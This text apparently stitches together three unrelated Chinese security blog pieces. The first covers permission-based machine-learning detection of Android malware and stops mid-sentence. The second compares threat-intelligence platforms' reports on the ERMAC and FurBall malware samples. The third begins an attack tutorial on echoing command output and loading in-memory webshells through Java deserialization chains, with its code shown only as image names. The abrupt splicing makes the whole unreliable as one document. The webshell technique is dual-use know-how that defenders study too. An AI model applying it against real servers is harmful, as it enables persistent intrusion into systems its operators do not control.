Android 市場的開放性導致了惡意軟件(Malware)的盛行。據360 安全中心報告,每天都能截獲數万個Android 惡意軟件,使得Android Malware Detection 成為研究人員熱議的話題。傳統的Android 惡意軟件檢測方法主要依賴於基於規則或簽名的檢測機制,其中使用yara 實現相對簡單。但這種基於簽名的檢測方法是信息密集型的,需要持續收集新的簽名,而基於規則的實現則極為複雜,極易導致誤報或讓狡猾的惡意軟件逃過檢測。

隨著機器學習的流行,越來越多的研究人員開始嘗試利用機器學習來實現惡意軟件的檢測。核心思路是從Android 的APK 文件中提取信息,用於訓練模型,隨後預測其他APK 文件是否為惡意軟件。根據信息提取方法的不同,主要分為兩類:一類是通過靜態分析,從APK 中提取permissions、intents、receivers 等組件,以及通過反編譯提取代碼調用,利用這些信息進行模型訓練;另一類是通過實際安裝運行APK,攔截網絡請求和監聽系統API 調用來獲取數據,作為模型訓練的基礎。

在探討此問題時,由於“Incinerator”項目的動態檢測功能尚未完全實現,我們暫時缺乏研究動態分析的條件,因此選擇採用靜態分析方法進行研究。

當前主流方案

基於靜態分析的機器學習訓練方案主要包括以下幾類:

權限提取訓練:

從AndroidManifest.xml中提取permissions信息進行模型訓練。

綜合信息提取訓練:

從AndroidManifest.xml中提取permissions、intents、receivers等信息,並通過反編譯從APK 中基於規則抽取Android 系統API 調用等信息進行模型訓練。

整體APK 訓練:

將整個APK 文件作為機器學習訓練的輸入,包括將APK 文件的二進製字節流作為輸入,或通過反編譯抽取opcode作為訓練輸入。

據文獻報導,這些方案可實現90% 以上的準確率。尤其是方案3,準確率在92%-93% 之間,而方案1 和2 在多數研究中可達到95% 以上的準確率。

我們試圖重現文獻中的方案,首先著手基於permissions的方案進行驗證。

數據源:

惡意軟件集合:

a. 來自威脅情報公司abuse.ch 的Malware APK 集合2000 個(簡稱MB)

b. VirusShare 2020/2021/2022 的Malware 集合(簡稱VS2020/VS2021/VS2022)

良性軟件集合:

a. 從應用寶下載的APK 10000 個

b. 從APKPURE 下載的APK 10000 個

訓練方法

通過靜態分析從APK 的AndroidManifest.xml中抽取AOSP (Android Open Source Project) permissions,並通過One-hot Encoding 的方式輸入模型進行訓練。模型選擇採用傳統的機器學習二分類模型如隨機森林、SVM 等進行訓練。經測試,隨機森林的效果最佳,準確率可達98%。

我們選擇應用寶的APK 作為良性樣本,VS2022 作為惡意軟件樣本,進行訓練。訓練數據如下:

模型PrecisionRecallFPR隨機森林0.9830.9830.056SVM0.9810.9770.063

然後我們對其他數據集進行測試驗證:

數據集PrecisionRecallFPRAPKPure0.0NAN0.59MB1.00.95NANVS20201.00.96NANVS20211.00.94NAN

在進行APKPure 數據集的驗證時,發現模型的假陽性率異常高,超過了50%,這表明模型在不同數據集的交叉驗證上表現不佳。同時,在MB、VS2020、VS2021 數據集上得到的高準確率由於高假陽性率而變得無意義。

為了深入理解模型的預測表現,我們選擇使用LinearSVM(線性支持向量機)來解釋模型的預測結果,並嘗試探討可能出現的問題:

在訓練過程中,共有265 個權限被用於訓練模型。我們重點分析了對於Malware 預測結果影響最大的30 個權限:

01.9507425950717683android.permission.READ_SMS

11.6805547441380115android.permission.SEND_SMS

21.5291784053142392android.permission.RECEIVE_SMS

31.281383891333467android.permission.WRITE_SMS

41.1385944832617678android.permission.GET_DETAILED_TASKS

51.0870145778775504android.permission.MANAGE_USERS

60.9822953162458009android.permission.SET_TIME_ZONE

70.9815855293627985android.permission.REQUEST_DELETE_PACKAGES

80.8705538278525148android.permission.ACCOUNT_MANAGER

90.7701851337780519android.permission.ACCESS_CACHE_FILESYSTEM

100.7493889020376178android.permission.PERSISTENT_ACTIVITY

110.742267985802697android.permission.SET_PREFERRED_APPLICATIONS

120.6575763216374741android.permission.USE_SIP

130.6423455602781643android.permission.MODIFY_PHONE_STATE

140.5733719308777389android.permission.READ_CALL_LOG

150.5713221448442122android.permission.WRITE_SECURE_SETTINGS

160.5177117115666185android.permission.CLEAR_APP_CACHE

170.5013751180995185android.permission.WRITE_SYNC_SETTINGS

180.47540432455574055android.permission.INJECT_EVENTS

190.450576746748121android.permission.BIND_ACCESSIBILITY_SERVICE

200.4497437629117625android.permission.READ_SYNC_STATS

210.40721040702182304com.android.alarm.permission.SET_ALARM

220.3958974436391258android.permission.GET_PACKAGE_SIZE

230.35828369132005317android.permission.TRANSMIT_IR

240.3538089622374305android.permission.CHANGE_COMPONENT_ENABLED_STATE

250.3303834311984685android.permission.STATUS_BAR

260.3277728921018696android.permission.WRITE_USER_DICTIONARY

270.31322691738916597android.permission.SET_DEBUG_APP

280.28600828593282673android.permission.INSTALL_PACKAGES

290.27804088205285526android.permission.SHUTDOWN

導致Benign 結果最重要的30 個權限:

1-1.0280830288092226android.permission.FORCE_STOP_PACKAGES

2-1.0244749163270055android.permission.DELETE_CACHE_FILES

3-0.9235183435775582android.permission.READ_PRIVILEGED_PHONE_STATE

4-0.7975588094210508android.permission.USE_BIOMETRIC

5-0.7691538868495551android.permission.READ_CELL_BROADCASTS

6-0.7288571523071693android.permission.REQUEST_INSTALL_PACKAGES

7-0.7278186994140812android.permission.WRITE_CALL_LOG

8-0.7029898754031535android.permission.READ_SEARCH_INDEXABLES

9-0.6832562629713737android.permission.ACCESS_NOTIFICATION_POLICY

10-0.6442707037030093android.permission.BIND_NOTIFICATION_LISTENER_SERVICE

11-0.6229441323892875android.permission.CAPTURE_AUDIO_OUTPUT

12-0.5951302503005503android.permission.REORDER_TASKS

13-0.552113274404841android.permission.FACTORY_TEST

14-0.5512329811397917android.permission.CAMERA

15-0.5415431826751977android.permission.PACKAGE_USAGE_STATS

16-0.5373788445105623android.permission.READ_SYNC_SETTINGS

17-0.5300427083556158android.permission.ACCESS_WIFI_STATE

18-0.48952375397337794android.permission.READ_PHONE_NUMBERS

19-0.4822239255635727android.permission.STOP_APP_SWITCHES

20-0.4525220364959383android.permission.WRITE_MEDIA_STORAGE

21-0.4133049145725493com.android.browser.permission.WRITE_HISTORY_BOOKMARKS

22-0.3902532535519829android.permission.CAPTURE_VIDEO_OUTPUT

23-0.34681147328619505android.permission.READ_FRAME_BUFFER

24-0.34134222449779317android.permission.WRITE_GSERVICES

25-0.3335042039412585android.permission.BIND_APPWIDGET

26-0.3263774109427998android.permission.AUTHENTICATE_ACCOUNTS

27-0.3136298914538836android.permission.NFC

28-0.3000955825422318android.permission.READ_EXTERNAL_STORAGE

29-0.2846046321402758android.permission.CALL_PRIVILEGED

30-0.28338090002182315android.permission.READ_CALENDAR

在表格中,第二列顯示了通過SVM 計算得到的權重值。由於在標籤設定中,Malware 被標記為1,而Benign 被標記為0,且訓練數據的格式是0,1,1,0,0,1,1,0,這樣的布爾值,因此,當權重為正時,該權重在計算Malware 的預測結果時具有較高的重要性;權重值越大,其重要性越高。相反,當權重為負時,該權重在計算Benign 的預測結果時具有較高的重要性;權重值越小,其重要性越高。

通過分析這些權限及其功能,我們發現Malware 相關的權限通常比Benign 相關的權限具有更高的危害性。在一定程度上,這種模型的設計是合理的。例如,模型成功識別了與SMS 相關的權限主要與Malware 相關,並賦予了較高的權重,這意味著,基本上,一個APP 如果包含SMS 權限,就非常可疑。實際上,普通的APP 不應該請求此類權限,因為短信管理通常是系統APP 的職責。

然而,這裡存在一個問題:權限的存在是因為Android 系統認為某些行為可能不妥,需要用戶確認。所以,理論上,所有需要請求的權限都有可能對用戶造成損害。因此,沒有請求權限應該被視為一個加分項。但在二分類機器學習的情境下,模型會做出區分,因為Benign 類別的存在意味著一定會有一部分權限被視為支持Benign 的證據。

現在我們來分析為什麼會出現如此高的假陽性率: 我們使用LinearSVC 來解釋模型的預測結果,並對一些具有假陽性的權限信息進行分析:

0.1773649887447295android.permission.WAKE_LOCK

0.01285824377030036android.permission.INTERNET

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

0.43102404170044467com.android.alarm.permission.SET_ALARM

0.1773649887447295android.permission.WAKE_LOCK

0.14741402851800423android.permission.SYSTEM_ALERT_WINDOW

0.02740438240042149android.permission.FOREGROUND_SERVICE

0.01285824377030036android.permission.INTERNET

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

-0.15043626374678254android.permission.WRITE_EXTERNAL_STORAGE

-0.1975995718519041android.permission.CHANGE_WIFI_STATE

-0.20461138790573433android.permission.VIBRATE

-0.511067438637911android.permission.ACCESS_WIFI_STATE

0.1773649887447295android.permission.WAKE_LOCK

0.02740438240042149android.permission.FOREGROUND_SERVICE

0.01285824377030036android.permission.INTERNET

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

-0.33867385510052594android.permission.READ_EXTERNAL_STORAGE

-0.511067438637911android.permission.ACCESS_WIFI_STATE

而真陽的權限信息:

0.32757400447767016android.permission.INSTALL_PACKAGES

0.2870058866311678android.permission.READ_PHONE_STATE

0.1773649887447295android.permission.WAKE_LOCK

0.1545767541451571android.permission.FLASHLIGHT

0.14613075920332474android.permission.BLUETOOTH_ADMIN

0.140268653568319android.permission.GET_ACCOUNTS

0.08641386050999389android.permission.MOUNT_UNMOUNT_FILESYSTEMS

0.06460516872049353android.permission.ACCESS_COARSE_LOCATION

0.01285824377030036android.permission.INTERNET

-0.009804892771664459android.permission.ACCESS_FINE_LOCATION

-0.12321341834571817android.permission.READ_LOGS

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

-0.15043626374678254android.permission.WRITE_EXTERNAL_STORAGE

-0.15994619600450963android.permission.CHANGE_NETWORK_STATE

-0.16005902734200772android.permission.WRITE_SETTINGS

-0.1975995718519041android.permission.CHANGE_WIFI_STATE

-0.20461138790573433android.permission.VIBRATE

-0.23536025455979454android.permission.CALL_PHONE

-0.24802834827531783android.permission.ACCESS_LOCATION_EXTRA_COMMANDS

-0.30018060973660377android.permission.BLUETOOTH

-0.33867385510052594android.permission.READ_EXTERNAL_STORAGE

-0.511067438637911android.permission.ACCESS_WIFI_STATE

-0.5625902678304402android.permission.CAMERA

-0.7242676191415552android.permission.REQUEST_INSTALL_PACKAGES

通過分析,我們發現了一個模式:擁有較少權限的APK 往往會被誤判,而權限較多的APK 基本能得到正確的預測。深入探究後,我們理解到這種現象的出現主要是由於APKPure 樣本中大多數APK 的權限數量較少,而我們的訓練模型主要基於權限較多的應用寶APK 樣本。因此,預測誤差的產生在一定程度上是由樣本差異導致的。

為了解決這個問題,一個直接的方法是將APKPure 的數據也納入訓練過程,以增強模型的泛化能力和預測準確性。

我們採取了以下措施:從APKPure 樣本中隨機抽取一半,即5000 個APK,同時從應用寶樣本中隨機抽取一半,約5000 個APK,一同用於模型的訓練。然後,我們使用這個新訓練得到的模型來預測未參與訓練的樣本。結果顯示,新模型的預測準確率得到了顯著提高。

模型PrecisionRecallFPR隨機森林0.9940.9670.008SVM0.9940.9670.008

然後我們對其他數據集進行測試驗證:

數據集PrecisionRecallFPRAPKPure 未參與訓練的樣本0.0NAN0.018MB1.00.878NANVS20201.00.92NANVS20211.00.89NAN

假陽性率已降至可接受的水平。這個實驗揭示了一個重要的現象:在訓練集上獲得理想的結果相對容易,但在現實世界中準確預測卻可能面臨挑戰。無人能保證所收集的樣本完美地反映了現實世界的情況,而我們的目標是識別那些真正與惡意軟件(Malware)相關的特徵。因此,我們決定嘗試探索其他可能的解決方案。

1. 基於 Intents 和 Receivers 的訓練

隨後,我們擴展了特徵集,加入了從AndroidManifest.xml中提取的intents和receivers信息進行訓練,然而,這並沒有提高模型的準確率。

2. 基於系統 API 調用的訓練

我們進一步嘗試提取APK 中的所有系統API 調用,將其轉換為適合卷積神經網絡(CNN)的格式,並通過CNN 來訓練模型。在訓練集上,模型達到了令人滿意的97% 的準確率,但在數據集交叉驗證時,表現仍然不盡如人意。

在這過程中,我們遇到了幾個問題:

API 調用頻率的不明顯差異: 最初,我們通過反編譯提取了所有出現過的API 調用,卻發現這些API 的調用頻率並沒有明顯差異。例如,我們原本認為accessibilityservice 的調用明顯與惡意軟件相關,卻發現在良性軟件中也頻繁出現。後來我們了解到,這主要是因為大多數APK 都依賴於android 這個庫,而該庫中包含了大量的系統API 調用。由於Malware 和Benign APK 都依賴於大量的第三方庫,這些庫中存在大量的系統API 調用,使得我們難以從系統API 調用的統計結果中區分Malware 和Benign。即便我們使用了incinerator 的SCA 分析功能來檢測和剔除這些第三方庫,結果仍然不盡如人意。

第三方庫的干擾: 我們發現,很少有研究考慮到第三方庫的干擾,並提出剔除第三方庫的具體方案。如果不剔除這些庫,基於靜態分析的方法幾乎毫無意義,因為靜態抽取會抽取出大量未被調用的API

前言本文主要以各家威脅情報中心/在線沙箱在安卓惡意代碼自動化分析能力與基於逆向引擎Reactor 所研發incinerator 逆向工具進行分析能力的對比,從而讓大家更加清晰直觀的了解到彼此之間的區別,文章所測試的威脅情報中心均為公開版本(免費),並不代表各個能力平台的實際狀態,不以偏概全。

測試平台列表如下:

360 威脅情報中心(包括其沙箱)

安恒威脅分析平台(包括其沙箱)

安天威脅情報中心

綠盟科技NTI 威脅情報中心(包括其沙箱)

啟明星辰VenusEye 威脅情報中心

奇安信威脅情報中心(包括其沙箱)

天際網盟RedQueen 安全智能服務平台

微步在線惡意軟件分析平台(包括其沙箱)

VirusTotal(包括其沙箱)

測試惡意代碼樣本如下:

樣本名稱:ERMAC

哈希值

MD5:16e991d73049f1ef5b8f5fa0c075ef05

SHA-256:f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3

ERMAC 是由BlackRock 移動惡意軟件背後的攻擊者操作的。 8 月17 日,名為“ermac”和“DukeEugene”的論壇成員開始宣傳該惡意軟件。 ERMAC 和其他銀行惡意軟件一樣,被設計用來竊取聯繫信息、短信、打開任意應用程序,並觸發針對大量金融應用程序的覆蓋攻擊,以刷取登錄憑據。此外,它還開發了新功能,允許惡意軟件清除特定應用程序的緩存並竊取存儲在設備上的帳戶。

摘自安恒威脅情報平台

樣本名稱:FurBall

哈希值

MD5:6151b1e2e5035a8eb596ce1c37565e87

SHA-256:0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93

Domestic Kitten,也稱APT-C-50,據稱是伊朗的一個黑客組織,主要是從受損的移動設備獲取敏感信息,至少從2016 年起,就一直非常活躍。 趨勢科技(Trend Micro)在2019 年一項分析報告中表示,APT-C-50 可能與另一個名為“彈跳高爾夫”(Bouncing Golf)的黑客組織有聯繫。 (Bouncing Golf 主要針對中東國家進行網絡間諜活動)。

摘自Freebuf

橫向分析對比本文將會從安卓惡意代碼分析的多個維度進行相關分析對比,鑑於部分平台不存在基於安卓的雲沙箱功能(或併未在公開/免費版本出現),所以對比的結果基於各個平台呈現的相關靜態化分析數據進行橫向對比。而LianSecurity(鏈安科技)的incinerator 作為一個綜合性Apk 逆向工程產品,並不帶有任何基於惡意代碼特徵庫、威脅情報源、沙箱等功能,所以橫向分析對比內容僅僅基於incinerator 的Apk 靜態分析能力。

鑑於我們在進行相關能力對比的時候,要有一個比較具象化的理解,究竟什麼叫好呢?或者說什麼樣的分析能力所呈現出來的分析報告會更加適合惡意代碼和威脅溯源的研究之用呢?所以我們選擇了一個比較得到大家公認的“VirusTotal”,以VirusTotal 的分析報告來看各自在安卓惡意代碼分析上面的細節以及顆粒度究竟是如何的。

VT.png

圖1

從兩個樣本的靜態化分析結果來看(如圖1 左右所示),VT 對於Apk 各項信息的檢測以及呈現都是非常完善的,能夠準確的分析出樣本當中的所有關鍵信息,作為惡意代碼分析以及威脅溯源的角度來說,首先,一個專業的分析服務能夠精準詳細的把以下羅列清楚的情況下,我認為這已經是一份優秀的分析報告。

Apk 基礎信息

HASH

TrID

文件大小等

Apk 包名以及相關的信息

Apk 名稱

Apk 簽名信息

Apk 應用權限分析

風險等級劃分以及排列

Apk 行為分析

Apk 應用網絡請求

Apk 軟件成分分析

所以,接下來我們會以VT 的報告所呈現的,一一對於上面所提到的廠商進行分析能力的橫向對比,從而深度的去了解現在國內在這方面的發展以及相關技術是如何的。

360 威脅情報中心c00ad03bc0eda1664d568e8baf2f1ce5

圖2

很可惜,我們從樣本1 與樣本2(如圖2 上下所示)的分析內容我們可以得知,360 的分析報告裡面只顯示樣本的HASH、包名以及對應的IOC 信息,而對於樣本的應用行為、應用權限、網絡請求、成分分析都沒有,並且動態分析也完全沒有的,對於惡意代碼以及威脅情報研究來說,360 威脅情報中心的呈現幾乎沒有什麼幫助的。

注:360 安全大腦沙箱雲檢測失敗,Android 部分需要相關的積分以及收費,所以就此作罷。

安恒威脅分析平台

:51ddad030efac39e354040cdbf138cd4

圖3

安恆在兩個樣本的分析上(如圖3 上下所示),與360 一樣能夠準確判斷出樣本的家族以及相關的歸屬,並且安恆在基礎信息方面增加了關於樣本的Hexdump,使得樣本基礎信息部分看似很豐滿,但是作為靜態分析結果來講,Hexdump 既不是一個總結性的結果呈現,也不能給分析人員任何定性的信息,不應該呈現在這裡。可能是因為免費/公開版本,動態分析部分並沒有任何的資料,但依然是基於惡意代碼以及威脅情報研究來說幫助微乎其微的,和360 所呈現的信息基本相同。

安天威脅情報中心5ce0891288b4e9a0087d778ecacc819d

圖4

我們所抽樣的樣本哈希提交到安天威脅情報中心後(如圖4 所示),顯示的檢測結果是為空。所以也無法對於安天威脅情報中心的安卓分析能力進行任何的對比分析了,估計是安天威脅情報中心沒有樣本數據,但是武漢安天的殺毒引擎是可以正確識別出樣本為惡意代碼的。

綠盟NTI - 威脅情報中心437a8adb7bccf10c616e4c348a8b21cd

圖5

綠盟科技NTI-威脅情報中心在基於ERMAC 樣本分析能夠顯示對應的HASH 信息(如圖5 所示),除此以外什麼都沒有了,而基於APT-C50 的樣本分析是並沒有任何數據顯示的,與安天威脅情報中心一樣,應該是他們沒有對應的樣本記錄,當我們改為威脅分析中心並提交樣本進行分析後,看到分析中心對於兩個樣本都進行有效的檢測,其中哈希值為“16e991d73049f1ef5b8f5fa0c075ef05”的樣本呈現出相關的基礎信息(樣本哈希、元數據)並沒有任何靜態分析報告,而哈希值為“6151b1e2e5035a8eb596ce1c37565e87”的樣本,基礎信息呈現上比較簡單,殺毒引擎檢測沒有結果、分析結果採用的是綠盟自己的檢測策略,與常見的檢測呈現不一樣,比較雜亂,所以需要一定學習才可以比較明白。

VenusEye 威脅情報中心cd444bd07ed693df69963af82fc8958c

圖6

VenusEye 基於樣本1(如圖6 上所示)的基礎信息呈現較為完整,也是屬於比較弱化的,沒有任何靜態化分析可言,而基於樣本2(如圖6 下所示)來說,VenusEye 並沒有對應的數據。

奇安信威脅情報中心f4c64f95543f1d918c18cfb3f9f35296

圖7

國內這麼多家威脅情報中心或者沙箱檢測的細節程度來說,從樣本2(如圖7 下所示)的威脅研判分析來看,因為有了沙箱檢測的完整補充,使得整體的分析詳細程度非常完整,奇安信無疑是國內廠商提供公開可以查閱的威脅情報中心/沙箱的天花板,而樣本1(如圖7 上所示)的分析來看,我們提交測試很多次,不管是以登陸/非登陸狀態下,沙箱檢測永遠都是檢測中的狀態,不知道是不是出現卡死的情況,所以樣本1 從純靜態化的狀態與其他廠商並無太大的區別。

天際網盟RedQueen 89b6c3b8317556ccd76baffca6a3eb53

圖8

天際網盟RedQueen 基於樣本1(如圖8 所示)的哈希值並無數據,並且無法上傳樣本進行測試,而基於樣本2 的哈希值查詢後,發現有相關數據記錄,基礎信息與其廠商大同小異,而其餘的信息並無。

微步在線惡意軟件分析平台28c784351bf7026820bf9f27062b1ca7

圖9

在眾多國內威脅情報中心/沙箱的廠商裡面,微步在線曾經是唯一一家能夠準確識別出樣本1(如圖9 左所示)該惡意代碼的家族,但是當我重跑多次樣本1 去獲取最新檢測報告之後,它的家族檢測就開始改變了,這個讓我覺得疑惑的,並且從檢測報告來看(如圖9 右所示),檢測的邏輯問題也很多,例如:

沙箱環境是Win7+Office2013

多維檢測與檢測樣本無關

多引擎檢測結果不准確

當我在上傳樣本進行檢測時,上傳的文件格式並沒有Apk 可選,所以只能夠以其識別的壓縮文件格式進行上傳,並且沙箱的環境注定了對於安卓應用是無法解釋的,而在基於沙箱環境下的多維檢測Sigma 規則是完完全全的誤報,在多引擎檢測結果裡面,微步在線顯示“基於2022-10-29 19:36:04 的時間狀態下,只有三個殺毒引擎發現該樣本為惡意代碼”,但是從多方數據來看,微步在線所顯示並未檢測惡意代碼的引擎當中,早已可識別樣本1 為惡意代碼,例如卡巴斯基之類、小紅傘、DrWeb。

而從樣本基礎信息的數據來看,在沒有任何的沙箱檢測下,微步在線的檢測結果比起奇安信的要好,樣本的基礎信息、元數據、權限分析之類的都是有的,但是對於需要看著報告的研究人員來說,報告很明顯在呈現上並沒有考慮太多這種需求,特別是如果在沒有IOC、殺毒引擎之類的輔助數據支撐下,不管是流行的ERMAC 還是隱秘性更高的APT 樣本都會出現很嚴重的漏報的情況出現。

基於incinerator 的Apk 基礎檢測能力incinerator 作為一款國產自主的安卓Apk 逆向工具分析工具,用來與威脅情報、惡意代碼分析平台或者動態沙箱進行對比,在任何人眼中看起來都很好笑,而我們要對比的僅僅是incinerator 在Apk 分析時,呈現給用戶的基礎信息(如圖10 所示),當我們要進行Apk 分析的時候,incinerator 會通過自主研發的高效準確的逆向技術,首先會對Apk 進行全面基礎分析,分析結果包含了包名、HASH、簽名等基礎信息(如圖11 所示),再通過靜態單賦值與交叉引用結合找出全流程執行路徑, 並對應用行為進行源碼級深度檢測,以及權限進行分類標註,突出強調高危和敏感權限,檢查應用內網絡請求以及目標地址特徵信息, 抽取依賴庫指紋信息分析軟件成分組成。

Apk 基礎信息呈現

92e9ad4d434f4597e5360b25e7578d07

圖10

簽名信息

634a49f3b0bf609d049690bbc3bfaf6b

圖11

權限信息

d529e3328c3f5a93f7ca960a8775ba7d

圖12

上圖是樣本1 ERMAC 中抽取的部分權限信息(如圖12 所示),可以看到incinerator 對權限進行了詳細的檢測以及分類,對於Apk 進行申請“短信發送”、“撥打電話”等權限聲明都標註了高危。

注:在Android 官方文檔中,“短信發送”以及“撥打電話”是被標註為危險權限*

行為分析

d7ff8313783684fb61294159cd7b0f62

圖13

c8845076a815c05af257d1298658b412

圖14

Incinerator 對Apk 行為分析有多個分類,如下(如圖13-14 所示):

加密安全

主要是檢測採用的加密的方式是否正確、是否有採用不夠安全的配置,導致加密失效或者容易被破解等。

應用安全

查看當前應用是否有安全風險,包括是否有日誌洩露、是否動態加載Dex、是否使用高危函數等。

組件安全

動態註冊Receiver 危險、Fragment 注入、組件導出風險、Intent 隱式調用風險、Intent 調用反射風險等。

數據安全

外部存儲風險、剪貼板洩露、應用數據備份風險等。

隱私安全

應用是否有使用錄音、撥打電話、攝像頭、地理位置、電話監聽、發短信等行為。這裡會結合權限申請情況給出最終結果,如果有敏感API 調用,但是沒有申請權限,則報告中不會指出,因為調用不會成功的。防止誤報給用戶造成困擾。

WebView 安全

WebView 任意代碼執行漏洞、WebView 啟用Javascript 風險、WebView 明文存儲密碼等風險。

通訊安全

未驗證CA 證書、HTTP 協議傳輸、Webview 忽略證書、端口開放檢測等。

當檢測出相關問題時,incinerator 會按照嚴重程度進行分類排列、給予對應的安全建議,並且定位到反編譯後具體代碼位置。

軟件成分分析

樣本1 ERMAC 因並未檢測出有依賴SDK 調用,故此下圖為樣本2 FurBall 的SCA 分析結果(如圖15 所示),incinerator 在軟件成分分析檢測時,發現樣本2 有相關的SDK 依賴,從信息的呈現上可以得知SDK 具體的版本號以及名稱。 incinerator 會結合公開的CVE 信息,去查詢依賴SDK 是否存在公開漏洞信息,並且會在報告中顯示。

b70ff3d453097397611218eeaafdef6c

圖15

通過對內置代碼進行深度掃描,抽取硬編碼的URL、郵箱地址、IP 等信息(如圖16 所示)。

49a7b2d3138722a6baac508981492ffc

圖16

同時結合我們自身的Whois、IP 數據庫進行查詢,對所獲取到的域名和IP 進行詳細的信息呈現(如圖17 所示)。

fab0744f3c9573e69be238742e908bc7

圖17

綜上所述,我們可以看到incinerator 對於Apk 的基礎信息檢測部分輸出較國內威脅情報平台更為全面,與VT 的對比來看,incinerator 基礎信息在HASH、TrID 等信息有所欠缺。以國內和國外的整體分析報告來看,incinerator 在沒有沙箱動態檢測,缺少敏感行為的強制調用結果下,但由於incinerator 的多維度基礎信息檢測手段,僅僅以這基礎信息檢測所羅列出來的信息完整度以及深度足以優於這一次對比的所有平台。

image.png

參考來源:

惡意代碼樣本

https://bazaar.abuse.ch/sample/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3/#iocs

【安全資訊】ERMAC 新型Android 銀行木馬分析https://ti.dbappsecurity.com.cn/info/2560

360 引用地址1:

https://ti.360.net/#/detailpage/searchresult?query=16e991d73049f1ef5b8f5fa0c075ef05rand=0.8184840901507511

360 引用地址2:

https://ti.360.net/#/detailpage/searchresult?query=6151b1e2e5035a8eb596ce1c37565e87rand=0.46923541160428095

安恆引用地址1:

https://ti.dbappsecurity.com.cn/hash/16e991d73049f1ef5b8f5fa0c075ef05/

安恆引用地址2:

https://ti.dbappsecurity.com.cn/hash/6151b1e2e5035a8eb596ce1c37565e87/

安天引用地址1:

https://www.antiycloud.com/#/search/hash?type=hashkey=16e991d73049f1ef5b8f5fa0c075ef05

安天引用地址2:

https://www.antiycloud.com/#/search/hash?type=hashkey=6151b1e2e5035a8eb596ce1c37565e87

綠盟引用地址1:

https://ti.nsfocus.com/file?query=16e991d73049f1ef5b8f5fa0c075ef05

綠盟引用地址2:

https://ti.nsfocus.com/file?query=6151b1e2e5035a8eb596ce1c37565e87

綠盟引用地址3:

https://poma.nsfocus.com/report?md5=16e991d73049f1ef5b8f5fa0c075ef05

綠盟引用地址4:

https://poma.nsfocus.com/v4/report?md5=6151b1e2e5035a8eb596ce1c37565e87

奇安信引用地址1:

https://ti.qianxin.com/v2/search?type=filevalue=16e991d73049f1ef5b8f5fa0c075ef05

奇安信引用地址2:

https://ti.qianxin.com/v2/search?type=filevalue=6151b1e2e5035a8eb596ce1c37565e87

微步在線引用地址1:https://s.threatbook.com/report/file/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3

微步在線引用地址2:https://s.threatbook.com/report/file/0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93

VirusTotal 引用地址1:

https://www.virustotal.com/gui/file/f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3/details

VirusTotal 引用地址2:https://www.virustotal.com/gui/file/0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93/details

源地

0x01 前言很多小伙伴做反序列化漏洞的研究都是以命令執行為目標,本地測試最喜歡的就是彈計算器,但沒有對反序列化漏洞進行深入研究,例如如何回顯命令執行的結果,如何加載內存馬。 (關注“Beacon Tower Lab”烽火台實驗室,為您持續輸出前沿的安全攻防技術)

在上一篇文章中↓↓↓

記一次反序列化漏洞的利用之路

遇到了一個實際環境中的反序列化漏洞,也通過調試最終成功執行命令,達到了RCE的效果。在實際的攻防場景下,能執行命令並不是最完美的利用場景,內存馬才是最終的目標。本篇文章就在此基礎上講一講如何進行命令回顯和加載內存馬。

0x02回顯在研究基於反序列化利用鏈的回顯實現之前,首先解決基於反序列化利用鏈的回顯實現,也就是在響應結果中輸出命令執行的結果。對PHP語言熟悉的小伙伴可能會覺得這並不算問題,直接echo不就行了,java裡面是不是也應該有類似的函數例如out.println()。 Java是一種面向對象的編程語言,所有的操作都是基於類和對象進行,如果要在頁面響應中輸出內容,必須要先有HttpServletResponse對象,典型的把命令執行結果響應到頁面的方式如圖2.1所示。

1679537651111929.png

圖2.1 通過HttpServletResponse對象輸出命令執行結果

從圖2.1可以看出最簡單的命令執行,也需要比較複雜的代碼邏輯,也就要求利用鏈中必須要支持執行複雜語句。並不是所有的ysoserial利用鏈都能達到回顯和

內存馬的效果,只有支持複雜語句的利用鏈才能回顯和內存馬,如表2.1所示。

表2.1 ysoserial利用鏈中對複雜語句的支持

1679537698187977.jpeg

我們先以CommonsBeanutils1利用鏈來進行分析,其他CommonsCollections利用鏈本質上是一樣的,CommonsBeanutils1鍊和CommonsCollections鏈最終都是xalan庫來動態加載字節碼,執行複雜語句。關於xalan利用鏈的分析網上有很多文章,這裡暫不做分析。

要實現反序列化利用鏈的結果回顯,最重要的是要獲取到HttpServletRequest對象和HttpServletResponse對象,根據目標環境的不同,獲取這兩個對象的辦法是不一樣的,如圖2.2,圖2.3所示。

1679537754866091.png

圖2.2 SpringBoot環境下獲取request和response對象

1679537779179682.png

圖2.3 SpringMVC環境下獲取request和response對象

不同的服務器獲取這兩個對象的方式不一樣,其他例如Weblogic、Jboss、Websphere這些中間件獲取這兩個對象的方式也不一樣,這種差異化極大的增加了反序列化回顯和內存馬實現的難度。

有沒有一種比較通用的辦法能夠獲取到request和response對象呢?答案是有的,基於Thread.CurrentThread()遞歸搜索可以實現通用的對象查找。目前測試環境是SpringMVC和SpringBOOT,其他環境暫未測試。

Thread.CurrentThread()中保存了當前線程中的全局信息,系統運行環境中所有的類對像都保存在Thread.CurrentThread()。用於回顯需要的request和response對象可以在Thread.CurrentThread()中找到;用於內存馬實現的StandardContext對像也可以找到。

遞歸搜索的思路就是遍歷Thread.CurrentThread()下的每一個字段,如果字段類別繼承自目標類(例如javax.servlet.http.HttpServletRequest),則進行標記,否則繼續遍歷。如圖2.3的方式是在已知目標類的位置獲取目標類對應對象的方式,我們的改進辦法是在未知目標類位置的情況下,通過遍歷的方式來發現目標類對象。

其中關鍵的代碼如圖2.4所示,完整的代碼見github項目地址。其中最關鍵的步驟是通過遞歸的方式來查找Thread.CurrentThread()的所有字段,依次判斷字段類型是否為javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。

1679537821729281.png

圖2.4 通過遞歸方式來查找request和response對象

